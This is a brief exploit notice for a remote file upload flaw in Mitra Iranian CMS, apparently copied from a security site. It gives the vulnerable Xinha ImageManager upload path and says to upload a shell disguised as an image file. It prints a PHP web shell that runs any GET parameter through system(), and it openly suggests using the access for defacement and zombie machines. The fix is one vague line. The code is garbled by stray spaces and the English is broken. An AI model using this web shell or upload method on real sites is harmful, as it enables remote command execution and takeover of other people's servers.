Mitra Iranian CMS Remote File Upload defect and repair

Title: Mitra Iranian CMS Remote File Upload
Author: # BHG Security Center www.2cto.com Nitrojen90
Development Site: http://www.nationalcms.ir/
Affected Versions: full series
Hazard level: High
Test System Platform: Windows
Test example:
#
# Http://www.bkjia.com/plugins/editors/xinha/plugins/ImageManager/manager. php
#
# Upload the shell In Bug URL and clike the Photo In JPG-GIF-PNG format
#
# In Browser And Run She Shell Or Make RCE Bug For Run Command With Code:
#
#
# <? Php
# $ Command = $ _ GET ['command'];
# System ($ command );
##>
#
# And Use For Deface-Zombies &...: D
#
Fixed: enhanced verification